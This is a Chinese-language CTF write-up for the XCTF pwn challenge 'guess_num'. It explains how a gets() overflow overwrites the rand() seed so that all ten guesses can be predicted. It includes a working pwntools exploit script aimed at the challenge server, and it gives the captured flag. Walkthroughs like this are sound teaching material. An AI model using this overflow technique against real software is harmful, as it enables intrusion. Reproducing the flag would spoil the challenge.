XCTF-PWN-guess_num-随机数覆盖seed种子

CTF · 03-21 · 78 人浏览

1.查看文件保护

Pasted image 20231216195615.png
64位程序,开启了NX(堆栈不可执行)、CANNARY(栈保护)和PIE(地址随机化)
运行程序
Pasted image 20231216195659.png
输出欢迎提示后,让用户输入名字和所猜数字,中间可能经过数字判断,输出错误提示GG后程序退出

2.IDA静态分析

(1)main

Pasted image 20231216200015.png
Pasted image 20231216200025.png
程序逻辑分析:
1)通过srand()和rand生成随机数,与用户输入的数进行对比。
2)要成功猜中十次,错一次都会输出“GG!”然后退出程序;猜中10次后执行sub_C3E

(2)sub_C3E

Pasted image 20231216201201.png
输出成功提示后,执行系统命令输出flag。

(3)思路整理

所以本题关键在于,将随机数变成可控的数
Pasted image 20231216201333.png
rand函数产生随机数的时候,需要一个种子,如果这个种子是一样的话,产生的随机数也是一样的。
因为用户先要输入name,要是我们通过main第22行的gets(),输入一个很长的字符串,刚好把seed的值覆盖掉,那么seed的产生的随机值就会成为可控的一个序列。

Pasted image 20231216201612.png
v7的地址与seed相差0x20

3.解题

(1)通过main第22行的gets()的输入,直接覆盖seed种子的值,将其固定为0

(2)再通过cdll.LoadLibrary()拿到libc的函数来计算随机数

EXP代码如下:

from pwn import *
from ctypes import *
 
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0)
 
r=remote("61.147.171.105",59206)
payload=b'a'*(0x30-0x10)+p32(0)
r.recvuntil("Your name:")
r.sendline(payload)
 
for i in range(10):
    num=str(libc.rand()%6+1)
    r.recvuntil("Please input your guess number:")
    r.sendline(num)
r.interactive()

运行EXP:
Pasted image 20231216202537.png
flag为:cyberpeace{9e312e44899d0317509b3e3c0979ab8a}

CTF XCTF 随机数 seed
Theme Jasmine by Kent Liao